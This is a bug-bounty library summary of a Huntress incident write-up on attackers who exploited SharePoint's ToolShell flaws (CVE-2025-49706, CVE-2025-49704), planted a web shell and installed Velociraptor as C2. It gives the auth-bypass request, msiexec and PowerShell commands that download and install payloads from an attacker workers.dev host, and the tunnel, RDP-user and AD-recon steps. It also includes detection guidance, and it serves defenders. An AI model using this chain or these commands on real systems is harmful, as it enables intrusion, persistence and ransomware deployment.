# Velociraptor Misuse, Pt. II: The Eye of the Storm

ToolShell chain bypasses SharePoint auth via crafted Referer to ToolPane.aspx, then RCE drops web shell used to install Velociraptor C2.

- Payout: Real-world hack
- Severity: critical
- Program: Microsoft
- Analysis by: Huntress
- Disclosed: 2025-12-03
- CVE: CVE-2025-49706, CVE-2025-49704
- Write-up quality: 7/10
- Original: https://www.huntress.com/blog/velociraptor-misuse-part-two-eye-of-the-storm
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-velociraptor-misuse-part-two-eye-of-the-storm
- Tags: area:web domain:web impact:internal-access impact:rce kind:incident platform:threat-intel sev:critical tech:windows technique:chained technique:source-review vuln:auth-bypass vuln:deserialization vuln:rce

**Target:** SharePoint IIS web server / _layouts/15 endpoints
**Root cause:** Authentication bypass in SharePoint (CVE-2025-49706) via a crafted POST to /_layouts/15/ToolPane.aspx with Referer set to /_layouts/SignOut.aspx, chained with deserialization RCE (CVE-2025-49704).
**Steps:**
1. Send `POST /_layouts/15/ToolPane.aspx/ DisplayMode=Edit&a=/ToolPane.aspx` with `Referer: /_layouts/SignOut.aspx` to bypass auth (CVE-2025-49706).
2. Chain CVE-2025-49704 for RCE, then upload an .aspx web shell into /_layouts/15/ (e.g. modified start.aspx).
3. Via web shell run `msiexec /q /i https://royal-boat-bf05.qgtxtebl.workers.dev/v3.msi` to install Velociraptor as a Windows service running as SYSTEM.
4. Use Velociraptor to push Base64 PowerShell downloading code.exe and installing a VS Code tunnel service for secondary C2.
5. Install Cloudflare tunnel: `cloudflared.exe tunnel run --token [REDACTED]`; add RDP user adminbak2 and run ADExplorer64.exe for AD recon.
**How found:** SOC detections of msiexec installing OpenSSH/Velociraptor; MDE event 1125 showed parent w3wp.exe (SharePoint app pool), leading analysts to IIS logs where POSTs to ToolPane.aspx with SignOut.aspx Referer revealed ToolShell.
**Exploitation:** Unauthenticated attacker hits ToolPane.aspx with SignOut.aspx Referer to bypass auth, exploits CVE-2025-49704 to plant an aspx web shell in /_layouts/15/, then uses it to msiexec-install Velociraptor MSI from a Cloudflare workers.dev domain, gaining SYSTEM persistence and C2; adds Cloudflare/VS Code tunnels for resilient egress and RDP/AD recon.
**Escalation:** Web shell (w3wp admin) -> SYSTEM service via MSI -> Cloudflare and VS Code tunnels for C2 -> new admin user, RDP, AD enumeration, Warlock ransomware deployment.
**Insight:** When msiexec's parent is w3wp.exe, pivot to IIS logs and grep for POSTs to /_layouts/15/*.aspx with a SignOut.aspx Referer — that Referer/auth mismatch is the ToolShell fingerprint, and POSTs to default pages like start.aspx are anomalous.

## Proof of concept (copied exactly from the original report)

**ToolShell auth-bypass POST to ToolPane.aspx**

```
2025-09-09 02:07:20 <REDACTED> POST /_layouts/15/ToolPane.aspx/ DisplayMode=Edit&a=/ToolPane.aspx 443 - 38.54.16[.]179 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+11_3)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/14.1+Safari/605.1.15 /_layouts/SignOut.aspx 200 0 0 579
```

**msiexec installs OpenSSH and Velociraptor MSI**

```
msiexec /q /i https://royal-boat-bf05.qgtxtebl.workers.dev/ssh.msi

msiexec /q /i https://royal-boat-bf05.qgtxtebl.workers.dev/v3.msi
```

**Encoded PowerShell downloads VS Code tunnel**

```
Invoke-WebRequest -Uri "https[:]//royal-boat-bf05.qgtxtebl.workers[.]dev/code.txt" -OutFile "C:\ProgramData\Microsoft\AppV\code.exe" 

C:\ProgramData\Microsoft\AppV\code.exe tunnel --accept-server-license-terms service install > C:\ProgramData\Microsoft\AppV\i1.log
```